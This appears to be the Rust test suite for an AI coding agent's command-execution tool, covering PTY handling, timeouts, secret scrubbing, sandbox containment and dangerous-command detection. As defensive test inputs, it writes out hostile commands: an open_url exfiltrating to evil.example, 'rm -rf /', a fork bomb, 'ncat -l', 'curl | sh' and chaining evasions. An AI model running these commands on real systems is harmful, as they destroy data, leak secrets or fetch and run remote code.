1187 #[tokio::test]
1198 async fn background_open_url_is_policy_gated() {
1199 let mode = mermaid_runtime::SafetyMode::ReadOnly;
1200 let mut config = mermaid_domain::Config::default();
1201 config.safety.mode = mode;
1202 let (ctx, _rx) = crate::providers::ctx::test_exec_context_with_config(
1203 TurnId(1),
1204 ToolCallId(1),
1205 std::env::temp_dir(),
1206 config,
1207 );
1208 let outcome = ExecuteCommandTool
1209 .execute(
1210 serde_json::json!({
1211 "command": "tail -f /dev/null",
1217 "mode": "background",
1218 "open_url": "https://evil.example/?d=secret",
1219 }),
1220 ctx,
1221 )
1222 .await;
1223 assert_eq!(
1224 outcome.status,
1225 mermaid_domain::ToolStatus::Error,
1226 "{mode:?}: open_url must be refused, not opened: {outcome:?}",
1227 );
1228 assert!(
1229 outcome.model_content.contains("open_url"),
1230 "{mode:?}: the refusal must name the action it refused: {:?}",
1231 outcome.model_content,
1232 );
1233 }
1234
1235 #[tokio::test]
1236 async fn safe_command_runs_and_captures_output() {
1237 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1238 let outcome = ExecuteCommandTool
1241 .execute(serde_json::json!({"command": "echo 'hello world'"}), ctx)
1242 .await;
1243 assert!(outcome.is_success(), "expected success: {outcome:?}");
1244 assert!(outcome.output().contains("hello world"));
1245 }
1246
1247 #[cfg(target_os = "linux")]
1252 #[tokio::test]
1253 async fn foreground_child_runs_in_new_session() {
1254 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1255 let outcome = ExecuteCommandTool
1256 .execute(
1257 serde_json::json!({
1258 "command": r#"test "$(awk '{print $6}' /proc/$$/stat)" = "$$" && echo NEW_SESSION_OK || echo "NOT_A_SESSION_LEADER sid=$(awk '{print $6}' /proc/$$/stat) pid=$$""#,
1259 }),
1260 ctx,
1261 )
1262 .await;
1263 assert!(outcome.is_success(), "expected success: {outcome:?}");
1264 assert!(
1265 outcome.output().contains("NEW_SESSION_OK"),
1266 "child shell is not a session leader: {}",
1267 outcome.output()
1268 );
1269 }
1270
1271 #[cfg(unix)]
1276 #[tokio::test]
1277 async fn pty_child_dev_tty_is_the_captured_pty() {
1278 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1279 let outcome = ExecuteCommandTool
1280 .execute(
1281 serde_json::json!({
1282 "command": "if echo CAPTURED_BY_PTY > /dev/tty 2>/dev/null; then echo TTY_OPEN_OK; else echo TTY_OPEN_DENIED; fi",
1283 }),
1284 ctx,
1285 )
1286 .await;
1287 assert!(outcome.is_success(), "expected success: {outcome:?}");
1288 assert!(
1289 outcome.output().contains("TTY_OPEN_OK"),
1290 "PTY child should see a controlling terminal: {}",
1291 outcome.output()
1292 );
1293 assert!(
1294 outcome.output().contains("CAPTURED_BY_PTY"),
1295 "/dev/tty writes must land in the CAPTURE, not the user's terminal: {}",
1296 outcome.output()
1297 );
1298 }
1299
1300 #[cfg(unix)]
1306 #[tokio::test]
1307 async fn foreground_child_cannot_open_dev_tty() {
1308 if std::fs::File::open("/dev/tty").is_err() {
1309 eprintln!("skipped: no controlling terminal in test environment");
1310 return;
1311 }
1312 let (ctx, _rx) = pipes_ctx();
1313 let outcome = ExecuteCommandTool
1314 .execute(
1315 serde_json::json!({
1316 "command": "if echo x > /dev/tty 2>/dev/null; then echo TTY_OPEN_OK; else echo TTY_OPEN_DENIED; fi",
1317 }),
1318 ctx,
1319 )
1320 .await;
1321 assert!(
1322 outcome.output().contains("TTY_OPEN_DENIED"),
1323 "session-detached child could still open /dev/tty: {}",
1324 outcome.output()
1325 );
1326 }
1327
1328 pub(crate) fn pipes_ctx() -> (
1330 crate::providers::ctx::ExecContext,
1331 tokio::sync::mpsc::Receiver<mermaid_domain::ProgressEvent>,
1332 ) {
1333 let mut config = mermaid_domain::Config::default();
1334 config.safety.mode = mermaid_runtime::SafetyMode::FullAccess;
1335 config.exec.pty = Some(false);
1336 crate::providers::ctx::test_exec_context_with_config(
1337 TurnId(1),
1338 ToolCallId(1),
1339 std::env::temp_dir(),
1340 config,
1341 )
1342 }
1343
1344 #[cfg(unix)]
1345 #[tokio::test]
1346 async fn pty_child_sees_a_terminal_and_pipes_child_does_not() {
1347 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1349 let outcome = ExecuteCommandTool
1350 .execute(
1351 serde_json::json!({"command": "if [ -t 1 ]; then echo IS_TTY; fi; tty"}),
1352 ctx,
1353 )
1354 .await;
1355 assert!(outcome.is_success(), "{outcome:?}");
1356 assert!(outcome.output().contains("IS_TTY"), "{}", outcome.output());
1357 assert!(
1358 outcome.output().contains("/dev/pts/") || outcome.output().contains("/dev/tty"),
1359 "tty should name the pts: {}",
1360 outcome.output()
1361 );
1362 let (ctx, _rx) = pipes_ctx();
1364 let outcome = ExecuteCommandTool
1365 .execute(
1366 serde_json::json!({"command": "if [ -t 1 ]; then echo IS_TTY; else echo NOT_TTY; fi"}),
1367 ctx,
1368 )
1369 .await;
1370 assert!(outcome.output().contains("NOT_TTY"), "{}", outcome.output());
1371 }
1372
1373 #[cfg(unix)]
1374 #[tokio::test]
1375 async fn pty_output_is_ansi_clean_and_crlf_normalized() {
1376 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1377 let outcome = ExecuteCommandTool
1380 .execute(
1381 serde_json::json!({
1382 "command": r"printf '\033[31mRED\033[0m\nline2\n'",
1383 }),
1384 ctx,
1385 )
1386 .await;
1387 assert!(outcome.is_success(), "{outcome:?}");
1388 let out = outcome.output();
1389 assert!(out.contains("RED\nline2"), "clean joined lines: {out:?}");
1390 assert!(!out.contains('\u{1b}'), "no escape bytes: {out:?}");
1391 assert!(!out.contains('\r'), "no carriage returns: {out:?}");
1392 }
1393
1394 #[cfg(windows)]
1398 #[tokio::test]
1399 async fn pty_child_sees_a_console_and_pipes_child_does_not() {
1400 let probe = "powershell -NoProfile -Command [Console]::IsOutputRedirected";
1401 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
1403 let outcome = ExecuteCommandTool
1404 .execute(serde_json::json!({ "command": probe }), ctx)
1405 .await;
1406 assert!(outcome.is_success(), "{outcome:?}");
1407 assert!(
1408 outcome.output().contains("False"),
1409 "ConPTY child must see a console: {}",
1410 outcome.output()
1411 );
1412 let (ctx, _rx) = pipes_ctx();
1414 let outcome = ExecuteCommandTool
1415 .execute(serde_json::json!({ "command": probe }), ctx)
1416 .await;
1417 assert!(outcome.is_success(), "{outcome:?}");
1418 assert!(
1419 outcome.output().contains("True"),
1420 "pipe child must see redirected stdout: {}",
1421 outcome.output()
1422 );
1423 }
1424
1425 #[cfg(windows)]
1430 #[tokio::test]
1431 async fn pty_output_is_ansi_clean_and_crlf_normalized_windows() {
1432 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
1433 let outcome = ExecuteCommandTool
1434 .execute(
1435 serde_json::json!({ "command": "echo RED; echo line2" }),
1436 ctx,
1437 )
1438 .await;
1439 assert!(outcome.is_success(), "{outcome:?}");
1440 let out = outcome.output();
1441 assert!(!out.contains('\u{1b}'), "no escape bytes: {out:?}");
1442 assert!(!out.contains('\r'), "no carriage returns: {out:?}");
1443 let lines: Vec<&str> = out.lines().map(str::trim).collect();
1444 assert!(lines.contains(&"RED"), "RED line present: {out:?}");
1445 assert!(lines.contains(&"line2"), "line2 line present: {out:?}");
1446 }
1447
1448 #[test]
1449 pub(crate) fn strip_ansi_drops_escapes_and_normalizes_line_endings() {
1450 assert_eq!(strip_ansi("\u{1b}[31mRED\u{1b}[0m"), "RED");
1453 assert_eq!(strip_ansi("\u{1b}[2K\u{1b}[1Gline"), "line");
1454 assert_eq!(strip_ansi("\u{1b}]0;title\u{7}body"), "body");
1455 assert_eq!(strip_ansi("\u{1b}]8;;url\u{1b}\\link"), "link");
1456 assert_eq!(strip_ansi("\u{1b}=keypad"), "keypad");
1457 assert_eq!(strip_ansi("a\r\nb"), "a\nb");
1458 assert_eq!(strip_ansi("50%\r100%\r\n"), "50%\n100%\n");
1459 assert_eq!(strip_ansi("\u{1b}P1$r0m\u{1b}\\text"), "text");
1462 assert_eq!(strip_ansi("\u{1b}_payload\u{1b}\\ok"), "ok");
1463 assert_eq!(strip_ansi("\u{1b}Xsos\u{1b}\\a\u{1b}^pm\u{1b}\\b"), "ab");
1464 assert_eq!(strip_ansi("ab\u{8}c"), "ac");
1466 assert_eq!(strip_ansi("x\u{7}y"), "xy");
1467 assert_eq!(strip_ansi("a\n\u{8}b"), "a\nb");
1469 assert_eq!(strip_ansi("\u{8}b"), "b");
1470 assert_eq!(strip_ansi("plain text"), "plain text");
1472 assert_eq!(strip_ansi("x\u{1b}"), "x");
1474 assert_eq!(strip_ansi("x\u{1b}[31"), "x");
1475 assert_eq!(strip_ansi("x\u{1b}Pdangling"), "x");
1477 }
1478
1479 #[test]
1480 pub(crate) fn capped_capture_keeps_head_and_tail() {
1481 let mut c = CappedCapture::new(64);
1483 c.push(b"hello ");
1484 c.push(b"world");
1485 let (out, truncated) = c.finish();
1486 assert_eq!(out, "hello world");
1487 assert!(!truncated);
1488 let mut c = CappedCapture::new(20);
1490 c.push(b"AAAAAAAAAA");
1491 c.push(&[b'x'; 100]);
1492 c.push(b"BBBBBBBBBB");
1493 let (out, truncated) = c.finish();
1494 assert!(truncated);
1495 assert!(out.starts_with("AAAAAAAAAA"), "head kept: {out:?}");
1496 assert!(out.ends_with("BBBBBBBBBB"), "tail kept: {out:?}");
1497 assert!(out.contains("truncated"), "marker present: {out:?}");
1498 }
1499
1500 #[test]
1501 pub(crate) fn secret_env_names_reports_planted_secret() {
1502 temp_env::with_var("MERMAID_TEST_PLANTED_API_KEY", Some("v"), || {
1504 let names = secret_env_names();
1505 assert!(
1506 names.iter().any(|n| n == "MERMAID_TEST_PLANTED_API_KEY"),
1507 "planted secret name must be scrubbed: {names:?}"
1508 );
1509 assert!(!names.iter().any(|n| n == "PATH"));
1510 });
1511 }
1512
1513 #[test]
1514 pub(crate) fn harden_env_sets_git_terminal_prompt() {
1515 let mut cmd = Command::new("sh");
1516 harden_noninteractive_env(&mut cmd);
1517 let set = cmd
1518 .as_std()
1519 .get_envs()
1520 .any(|(k, v)| k == "GIT_TERMINAL_PROMPT" && v.is_some_and(|v| v == "0"));
1521 assert!(set, "GIT_TERMINAL_PROMPT=0 must be injected");
1522 }
1523
1524 #[tokio::test]
1525 async fn dangerous_command_blocked() {
1526 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1527 let outcome = ExecuteCommandTool
1528 .execute(serde_json::json!({"command": "rm -rf /"}), ctx)
1529 .await;
1530 let error = outcome.error_message().expect("expected error");
1531 assert!(error.contains("Dangerous"));
1532 }
1533
1534 #[tokio::test]
1535 async fn cancellation_aborts_long_running_command() {
1536 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1537 let token = ctx.token.clone();
1538 let handle = tokio::spawn(async move {
1545 ExecuteCommandTool
1546 .execute(serde_json::json!({"command": "sleep 30"}), ctx)
1547 .await
1548 });
1549 tokio::time::sleep(Duration::from_millis(30)).await;
1551 token.cancel();
1552 let start = Instant::now();
1553 let outcome = tokio::time::timeout(Duration::from_secs(15), handle)
1554 .await
1555 .expect("didn't hang")
1556 .expect("join");
1557 let elapsed = start.elapsed();
1558 assert!(outcome.was_cancelled());
1559 assert!(
1563 elapsed < Duration::from_secs(10),
1564 "cancellation took {elapsed:?} — far slower than expected (regression?)"
1565 );
1566 }
1567
1568 #[tokio::test]
1569 async fn timeout_honored() {
1570 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1571 let outcome = ExecuteCommandTool
1572 .execute(serde_json::json!({"command": "sleep 5", "timeout": 1}), ctx)
1573 .await;
1574 assert_eq!(outcome.status, mermaid_domain::ToolStatus::Error);
1575 let output = outcome.as_tool_message_content();
1576 assert!(output.contains("timed out"));
1577 assert!(output.contains("was killed"));
1578 assert!(output.contains("mode=\"background\""));
1579 }
1580
1581 #[cfg(not(target_os = "windows"))]
1586 #[tokio::test]
1587 async fn timeout_kills_process_tree() {
1588 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
1589 let marker =
1591 std::env::temp_dir().join(format!("mermaid_timeout_pgid_{}.pid", std::process::id()));
1592 let _ = std::fs::remove_file(&marker);
1593 let command = format!(
1594 "sh -c 'echo $$ > {}; sleep 30' & sleep 30",
1595 marker.display()
1596 );
1597 let outcome = ExecuteCommandTool
1598 .execute(serde_json::json!({ "command": command, "timeout": 1 }), ctx)
1599 .await;
1600 assert_eq!(outcome.status, mermaid_domain::ToolStatus::Error);
1601
1602 let mut pid = None;
1605 for _ in 0..30 {
1606 if let Ok(s) = std::fs::read_to_string(&marker)
1607 && let Ok(p) = s.trim().parse::<u32>()
1608 {
1609 pid = Some(p);
1610 break;
1611 }
1612 tokio::time::sleep(Duration::from_millis(50)).await;
1613 }
1614 let pid = pid.expect("grandchild never recorded its pid");
1615
1616 let mut alive = true;
1618 for _ in 0..40 {
1619 if !process_running(pid).await {
1620 alive = false;
1621 break;
1622 }
1623 tokio::time::sleep(Duration::from_millis(50)).await;
1624 }
1625 let _ = std::fs::remove_file(&marker);
1626 assert!(!alive, "grandchild pid {pid} leaked past the timeout");
1627 }
1628
1629 #[cfg(not(target_os = "windows"))]
1630 #[tokio::test]
1631 async fn background_mode_returns_pid_log_and_detected_url() {
1632 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1633 let outcome = ExecuteCommandTool
1634 .execute(
1635 serde_json::json!({
1636 "command": "printf 'ready http://127.0.0.1:54321\\n'; exec sleep 30",
1637 "mode": "background",
1638 "startup_timeout_secs": 2,
1639 "ready_pattern": "ready"
1640 }),
1641 ctx,
1642 )
1643 .await;
1644
1645 assert!(
1646 outcome.is_success(),
1647 "expected background success: {:?}",
1648 outcome
1649 );
1650 let output = outcome.output().to_string();
1651 assert!(output.contains("Background command started"));
1652 assert!(output.contains("PID:"));
1653 assert!(output.contains("Log:"));
1654 assert!(output.contains("Ready: matched pattern"));
1655 assert!(output.contains("Detected URL: http://127.0.0.1:54321"));
1656
1657 if let Some(pid) = parse_pid(&output) {
1658 let _ = Command::new("kill").arg(pid.to_string()).status().await;
1659 }
1660 }
1661
1662 #[cfg(target_os = "windows")]
1663 #[tokio::test]
1664 async fn background_mode_returns_pid_and_log_on_windows() {
1665 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
1666 let outcome = ExecuteCommandTool
1667 .execute(
1668 serde_json::json!({
1677 "command": "cmd /c echo ready; ping -n 60 127.0.0.1",
1678 "mode": "background",
1679 "startup_timeout_secs": 15,
1680 "ready_pattern": "ready"
1681 }),
1682 ctx,
1683 )
1684 .await;
1685
1686 assert!(
1687 outcome.is_success(),
1688 "expected background success on Windows: {outcome:?}"
1689 );
1690 let output = outcome.output().to_string();
1691 assert!(output.contains("Background command started"));
1692 assert!(output.contains("PID:"));
1693 assert!(output.contains("Ready: matched pattern"));
1694 assert!(
1696 outcome.metadata.process.is_some(),
1697 "background outcome must carry a ManagedProcess"
1698 );
1699
1700 if let Some(pid) = parse_pid(&output) {
1702 mermaid_model::utils::terminate_tree(pid, mermaid_model::utils::Grace::Graceful).await;
1703 }
1704 }
1705
1706 #[tokio::test]
1707 async fn ctrl_b_backgrounds_a_running_foreground_command() {
1708 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
1709 let background = ctx.background.clone();
1710 let command = if cfg!(target_os = "windows") {
1712 "ping -n 30 127.0.0.1"
1713 } else {
1714 "sleep 30"
1715 };
1716
1717 let canceller = tokio::spawn(async move {
1719 tokio::time::sleep(Duration::from_millis(300)).await;
1720 background.cancel();
1721 });
1722 let outcome = ExecuteCommandTool
1723 .execute(
1724 serde_json::json!({ "command": command, "timeout": 60 }),
1725 ctx,
1726 )
1727 .await;
1728 let _ = canceller.await;
1729
1730 assert!(
1731 outcome.is_success(),
1732 "backgrounding should yield success: {outcome:?}"
1733 );
1734 let output = outcome.output().to_string();
1735 assert!(output.contains("Moved to background"), "got: {output}");
1736 let process = outcome.metadata.process.clone();
1738 assert!(
1739 process.is_some(),
1740 "background outcome must carry a ManagedProcess"
1741 );
1742
1743 if let Some(p) = process {
1745 mermaid_model::utils::terminate_tree(p.pid, mermaid_model::utils::Grace::Graceful)
1746 .await;
1747 }
1748 }
1749
1750 pub(crate) fn parse_pid(output: &str) -> Option<u32> {
1751 output
1752 .lines()
1753 .find_map(|line| line.strip_prefix("PID: "))
1754 .and_then(|pid| pid.trim().parse().ok())
1755 }
1756
1757 #[test]
1758 pub(crate) fn dangerous_detection_covers_known_shapes() {
1759 assert!(contains_dangerous_command("rm -rf /"));
1760 assert!(contains_dangerous_command(":(){ :|:& };:"));
1761 assert!(contains_dangerous_command("ncat -l 8080"));
1762 assert!(!contains_dangerous_command("ls -la"));
1763 assert!(!contains_dangerous_command("cargo build"));
1764 assert!(!contains_dangerous_command(
1765 r#"find . -type f ! -path "./.git/*" ! -path "./.mermaid/*" 2>/dev/null"#
1766 ));
1767 }
1768
1769 #[test]
1770 pub(crate) fn dangerous_detection_resists_substring_evasion() {
1771 assert!(contains_dangerous_command("RM -RF /"));
1774 assert!(contains_dangerous_command("rm -rf /"));
1775 assert!(contains_dangerous_command("echo hi; rm -rf /"));
1776 assert!(contains_dangerous_command("echo hi&&rm -rf /"));
1777 assert!(contains_dangerous_command("curl http://x | sh"));
1778 assert!(contains_dangerous_command("curl http://x|sh"));
1779 assert!(contains_dangerous_command("/bin/rm -rf /"));
1780 assert!(!contains_dangerous_command("bash build.sh"));
1782 assert!(!contains_dangerous_command("echo done > /dev/null"));
1783 assert!(!contains_dangerous_command("grep -rf patterns.txt src"));
1784 }
1785
1786 #[tokio::test]
1787 async fn read_capped_keeps_head_and_tail_on_overflow() {
1788 let mut data = Vec::new();
1790 data.extend_from_slice(b"HEAD_START");
1791 data.extend(std::iter::repeat_n(b'x', 5000));
1792 data.extend_from_slice(b"TAIL_ERROR_HERE");
1793 let (out, truncated) = read_capped(&data[..], 100, 10_000, None, None).await;
1794 assert!(truncated, "oversized output must be marked truncated");
1795 assert!(out.contains("HEAD_START"), "head must survive: {out}");
1796 assert!(out.contains("TAIL_ERROR_HERE"), "tail must survive: {out}");
1797 assert!(out.contains("elided"), "must mark the elision: {out}");
1798 }
1799
1800 #[tokio::test]
1801 async fn read_capped_small_output_is_verbatim() {
1802 let (out, truncated) = read_capped(&b"short output"[..], 100, 10_000, None, None).await;
1803 assert!(!truncated, "small output must not be truncated");
1804 assert_eq!(out, "short output");
1805 }
1806
1807 #[test]
1808 pub(crate) fn scratch_prover_accepts_only_provably_contained_commands() {
1809 let scratch = Path::new("/tmp/mermaid_scratch/proj/sess");
1810
1811 for cmd in [
1814 "ls",
1815 "ls -la",
1816 "mkdir out",
1817 "touch notes.txt",
1818 "cp a.txt sub/b.txt",
1819 "cat /tmp/mermaid_scratch/proj/sess/notes.txt",
1820 "rm -f old.log",
1821 ] {
1822 assert!(
1823 command_provably_in_scratch(cmd, scratch),
1824 "{cmd:?} should prove scratch-contained",
1825 );
1826 }
1827
1828 for cmd in [
1830 "", "cat ../secret", "cat /etc/passwd", "/bin/rm -rf notes.txt", "echo hi > out.txt", "ls; touch pwned", "true && touch pwned", "cat file | tee other", "cat $(pwd)/x", "cat `pwd`/x", "cat $HOME/x", "ls ~", "rm *", "cp -t/etc x", "tar --directory=/ x", "env VAR=/etc cmd", "curl https://evil.example/x", "type C:secret.txt", "copy C:\\evil x", "unclosed 'quote", ] {
1851 assert!(
1852 !command_provably_in_scratch(cmd, scratch),
1853 "{cmd:?} must NOT prove scratch-contained",
1854 );
1855 }
1856 }
1857
1858 #[test]
1859 pub(crate) fn classify_cwd_three_way_containment() {
1860 let base = std::env::temp_dir().join(format!("mermaid_cwd3_{}", std::process::id()));
1861 let _ = std::fs::remove_dir_all(&base);
1862 let project = base.join("project");
1863 let scratch = base.join("scratch");
1864 std::fs::create_dir_all(&project).unwrap();
1865 std::fs::create_dir_all(&scratch).unwrap();
1866 let scratch_real = std::fs::canonicalize(&scratch).unwrap();
1867 let outside = std::fs::canonicalize(&base).unwrap();
1868
1869 assert_eq!(
1871 classify_cwd(true, &project, Some(&scratch)),
1872 CwdContainment::Project
1873 );
1874 assert_eq!(
1877 classify_cwd(false, &scratch_real, Some(&scratch)),
1878 CwdContainment::Scratchpad
1879 );
1880 assert_eq!(
1882 classify_cwd(false, &scratch_real, None),
1883 CwdContainment::External
1884 );
1885 assert_eq!(
1887 classify_cwd(false, &outside, Some(&scratch)),
1888 CwdContainment::External
1889 );
1890 assert_eq!(
1892 classify_cwd(false, &scratch_real, Some(&base.join("missing"))),
1893 CwdContainment::External
1894 );
1895
1896 let _ = std::fs::remove_dir_all(&base);
1897 }
1898
1899 #[tokio::test]
1900 async fn scratch_cwd_is_not_escalated_to_external_directory() {
1901 let base = std::env::temp_dir().join(format!("mermaid_scwd_{}", std::process::id()));
1906 let _ = std::fs::remove_dir_all(&base);
1907 let project = base.join("project");
1908 let scratch = base.join("scratch");
1909 std::fs::create_dir_all(&project).unwrap();
1910 std::fs::create_dir_all(&scratch).unwrap();
1911
1912 let mut config = mermaid_domain::Config::default();
1915 config.safety.mode = mermaid_runtime::SafetyMode::ReadOnly;
1916 let (mut ctx, _rx) = crate::providers::ctx::test_exec_context_with_config(
1917 TurnId(1),
1918 ToolCallId(1),
1919 project.clone(),
1920 config,
1921 );
1922 ctx.scratchpad = Some(scratch.clone());
1923 let outcome = ExecuteCommandTool
1924 .execute(
1925 serde_json::json!({
1926 "command": "echo hi",
1927 "working_dir": scratch.display().to_string(),
1928 }),
1929 ctx,
1930 )
1931 .await;
1932 assert!(
1933 outcome.is_success(),
1934 "scratch cwd must not be escalated to ExternalDirectory: {outcome:?}",
1935 );
1936
1937 let _ = std::fs::remove_dir_all(&base);
1938 }
1939
1940 #[tokio::test]
1941 async fn child_env_carries_scratchpad_export() {
1942 let dir = std::env::temp_dir().join(format!("mermaid_env_{}", std::process::id()));
1945 std::fs::create_dir_all(&dir).unwrap();
1946 #[cfg(unix)]
1947 let probe = r#"printf %s "${MERMAID_SCRATCHPAD:-UNSET}""#;
1948 #[cfg(windows)]
1949 let probe = "if ($env:MERMAID_SCRATCHPAD) { Write-Output $env:MERMAID_SCRATCHPAD } else { Write-Output UNSET }";
1950
1951 let run = |scratchpad: Option<PathBuf>| {
1952 let dir = dir.clone();
1953 async move {
1954 let mut cmd = build_sandboxed_shell(probe, &SandboxPlan::NONE);
1955 cmd.current_dir(&dir)
1956 .stdin(Stdio::null())
1957 .stdout(Stdio::piped())
1958 .stderr(Stdio::null())
1959 .env_remove(SCRATCHPAD_ENV_VAR);
1962 export_scratchpad_env(&mut cmd, scratchpad.as_deref());
1963 let out = cmd.output().await.expect("probe spawns");
1964 String::from_utf8_lossy(&out.stdout).trim().to_string()
1965 }
1966 };
1967
1968 let exported = run(Some(dir.clone())).await;
1969 assert_eq!(
1970 exported,
1971 dir.display().to_string(),
1972 "child must see the scratchpad path",
1973 );
1974 let absent = run(None).await;
1975 assert_eq!(absent, "UNSET", "no scratchpad -> no exported variable");
1976
1977 let _ = std::fs::remove_dir_all(&dir);
1978 }
1979}